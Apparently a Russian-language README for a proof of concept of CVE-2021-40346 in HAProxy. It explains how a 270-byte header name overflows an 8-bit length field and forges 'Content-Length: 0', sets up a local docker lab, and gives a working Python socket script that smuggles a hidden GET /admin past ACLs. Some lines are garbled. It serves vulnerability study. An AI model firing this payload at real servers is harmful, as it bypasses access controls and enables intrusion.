
PoC-эксплойт для CVE-2021-40346: целочисленное переполнение в HAProxy, позволяющее осуществить контрабанду HTTP-запросов и обход ACL. Включает анализ, шаги по воспроизведению и рекомендации по смягчению.
htx_add_header(), которая сохраняет HTTP-заголовки во внутреннем формате HTX, из-за отсутствия проверки длины имени заголовка.http-request (например, ) — эти правила будут обойдены.path_beg /adminКогда HAProxy сохраняет HTTP-заголовки во внутреннем формате HTX, он записывает длину имени заголовка в 8-битное поле (максимум 255). В функции htx_add_header() отсутствует проверка этой длины, поэтому при отправке имени длиной более 256 байт происходит целочисленное переполнение, и переполненные биты перетекают в соседнее поле длины значения.
Если сделать имя заголовка длиной ровно 270 байт (270 mod 256 = 14), HAProxy ошибочно интерпретирует его как "Content-Length" (14 символов) и считывает 1 байт, испорченный переполнением, в качестве значения. Разместив в этом месте "0", можно создать поддельный заголовок Content-Length: 0.
Если после этого поддельного заголовка отправить настоящий заголовок Content-Length, HAProxy примет первый из дублирующихся заголовков (поддельный 0) и отбросит настоящий. При этом процесс чтения фактического тела запроса от клиента работает корректно на основе исходного текста, но в заголовках, передаваемых бэкенду, записывается поддельное значение (0), что приводит к несоответствию между "фактическим размером полученного тела" и "размером, сообщённым бэкенду".
Бэкенд, доверяя сообщённому значению (0), считает, что запрос завершён, и затем интерпретирует данные, которые на самом деле были телом запроса, как совершенно новый запрос. Поскольку ACL HAProxy проверяют только исходную строку запроса до этого момента, скрытый второй запрос достигает бэкенда, не пройдя проверку. В результате все настроенные ACL http-request обходятся.
Выполните docker compose up --build -d для запуска уязвимой тестовой среды (haproxy ver.2.2.16 / backend: gunicorn)
Проверьте активность HAProxy и бэкенд-сервера с помощью следующего кода:
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Выполните PoC-скрипт: python3 poc.py --host 127.0.0.1 --port 8080
Проверьте логи бэкенда с помощью docker logs cve-2021-40346-backend --tail 5, чтобы убедиться, что запрос /admin действительно был обработан.
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Как показано выше, бэкенд обработал GET-запрос к admin, доступ к которому был ограничен.
htx_add_header())